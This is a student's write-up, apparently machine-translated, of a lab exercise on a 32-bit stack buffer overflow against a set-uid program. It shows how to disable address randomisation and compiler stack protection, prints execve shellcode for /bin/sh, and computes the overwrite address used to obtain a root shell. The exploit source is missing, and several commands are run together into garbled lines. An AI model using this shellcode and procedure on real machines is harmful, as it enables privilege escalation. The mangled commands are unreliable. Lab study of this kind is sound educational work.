Experimental one buffer Overflow vulnerability

First, the experimental description

A buffer overflow is a scenario in which a program attempts to write to a buffer beyond the pre-allocated fixed-length data. This vulnerability could be exploited by malicious users to alter the flow control of a program, or even execute arbitrary fragments of code. This vulnerability occurs because of a temporary shutdown of the data buffer and the return address, which causes the return address to be rewritten.

II. Preparation of the experiment

System User name Shiyanlou, password Shiyanlou

The lab building provides 64-bit Ubuntu Linux, and in this experiment we need to operate in 32-bit environments to facilitate the observation of assembly statements, so we need to do some preparation before the experiment.

1. Enter a command to install something that compiles a 32-bit C program:

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install Lib32readline-gplv2-dev

2. Enter the command "linux32" into the 32-bit Linux environment. At this point you will find that the command line is not as good as the tab completion, so enter "/bin/bash" Using bash:

Iii. Experimental Step 3.1 initial Setup

In Ubuntu and some other Linux systems, the initial address of random heap (heap) and stack (stack) is randomized using address space, which makes it difficult to guess the exact memory address, and guessing the memory address is the key to the buffer overflow attack. So in this experiment, we use the following command to turn off this feature:

sudo sysctl -w kernel.randomize_va_space=0

In addition, in order to further protect against buffer overflow attacks and other attacks using shell programs, many shell programs automatically abandon their privileges when called. Therefore, even if you can trick a set-uid program into invoking a shell, you cannot maintain root privileges in the shell, which is implemented in/bin/bash.

In a Linux system,/bin/sh is actually a symbolic link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. The following instructions describe how to set up the ZSH program:

sudo sucd /binrm shln -s zsh shexit

3.2 Shellcode

In general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.

Observe the following code:

#include <stdio.h>int main( ) {char *name[2];name[0] = ‘‘/bin/sh’’;name[1] = NULL;execve(name[0], name, NULL);}

The shellcode of this experiment is the compiled version of the code just now:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 Vulnerability Procedures

Save the following code as a "stack.c" file and save it to the/tmp directory. The code is as follows:

The code lets you know that the program reads a file named "Badfile" and loads the contents of the file into "buffer".

Compile the program, and set the Set-uid. The command is as follows:

sudo sugcc -m32 -g -z execstack -fno-stack-protector -o stack stack.cchmod u+s stackexit

The GCC compiler has a stack protection mechanism to prevent buffer overflows, so we need to use –fno-stack-protector to close this mechanism when compiling the code.

The-Z execstack is used to allow execution of the stack.

3.4 Attack Program

Our goal is to attack the vulnerability program just now and gain root access through the attack.

Save the following code as a "exploit.c" file and save it to the/tmp directory. The code is as follows:

Notice the above code, "\x??" \x?? \x?? \x?? " Need to add shellcode to the address stored in memory because the location can overwrite the return address just after an overflow occurs.

and strcpy (Buffer+100,shellcode); This sentence tells us again that Shellcode is stored in the buffer+100 position.

Now we're going to get shellcode in-memory address, enter the command:

stackdisass main

According to the statement strcpy (Buffer+100,shellcode); We calculate the address of Shellcode as 0xffffd1b0 (hex) +100 (decimal) =0xffffd214 (hexadecimal)

Modify EXPLOIT.C file Now! Will \x?? \x?? \x?? \x?? Modify to \x14\xd2\xff\xff

Then, compile the EXPLOIT.C program:

gcc -m32 -o exploit exploit.c

3.5 Attack Results

Run the attack program exploit before running the vulnerability stack and observe the results:

Visible, through the attack, get the root permission!

Iv. Practice

1, follow the experimental steps to operate, attack the vulnerability program and gain root privileges.

2, through the command "sudo sysctl-w kernel.randomize_va_space=2" to open the system's address space randomization mechanism, repeated use of exploit program to attack the stack program, to see if the attack succeeds, can gain root authority.

3, the/bin/sh to/bin/bash (or/bin/dash), to observe whether the attack succeeds, can gain root privileges.

The attack was successful.

Summary: This experiment in many places do not understand, although according to the requirements of the experiment can be made, but do not know why.

This experiment does not understand the place: This experiment has a lot of commands, but do not know the usefulness of these commands and why the use of these commands, as well as the reasons behind it.

The experiment in the process of some errors occurred, there is a picture can be seen, I asked the students to help complete.

Although the experiment was completed, my understanding of buffer overflow vulnerability was unclear and I read more books later.

Experimental one buffer Overflow vulnerability